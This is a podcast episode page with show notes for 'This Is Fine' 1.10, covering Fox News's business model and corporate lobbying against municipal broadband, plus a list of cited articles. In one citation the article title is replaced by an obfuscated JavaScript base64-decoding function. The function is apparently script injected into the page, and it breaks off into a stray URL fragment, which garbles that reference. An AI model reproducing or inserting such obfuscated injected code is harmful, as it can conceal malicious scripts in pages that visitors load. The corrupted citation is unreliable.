Welcome to This Is Fine episode 1.10: Fox Populi. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and share this link with your Comcast representative the next time you’re on hold.

In this week’s podcast, guest Sam Thielman helps us understand the business model that has sustained Fox News.  We also talk about the ways in which state and local politicians have conspired with large corporations in places like Chattanooga, Tennessee to keep rural services like broadband expensive and only available through corporate oligopolies.  Is fighting against monopoly power a way forward for the Left?  

We’ll return in two weeks with This is Fine 1.11, when Jerry rejoins us with some special guests to discuss industrial policy in the United States.

Referenced on the podcast (in order of discussion):

• Rick Perlstein, “I Thought I Understood the American Right:  Trump Proved Me Wrong,” New York Times Magazine
• William F Buckley, “Why the South Must Prevail,” National Review  
• Gabriel Sherman, The Loudest Voice in the Room: How the Brilliant, Bombastic Roger Ailes Built Fox News--and Divided a Country
• Bat Boy & the Reptilians
• Lisa de Moraes, Cable TV Rankings 2016, Deadline.com
• Amy Kaufman, “President Obama to Bill Maher: 'If I watched Fox News, I wouldn’t vote for me either,” Los Angeles Times
• Kevin Quealy and Margot Sanger-Katz, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-who-loses-under-republicans-health-care-plan.html">Who Wins and Who Loses Under Republicans’ Health Care Plan,” The Upshot, New York Times
• Andrew Sullivan, “Why Do Democrats Feel So Sorry for Hillary Clinton?” New York Magazine
• Sam Thielman, “FCC weighs laws blocking local internet providers from competing with telecoms,” The Guardian
• David Morris, “Private Telecoms Get Another Win Over Municipal Broadband in Tennessee,” Fortune
• Matt Stoller, “I'd be really curious how anti-monopoly messaging would work, in either party. Basically running against Comcast.”  Twitter.  [We channeled the future Stoller tweet.]
• Max Fisher, “How Jimmy Carter Saved Craft Beer,” The Atlantic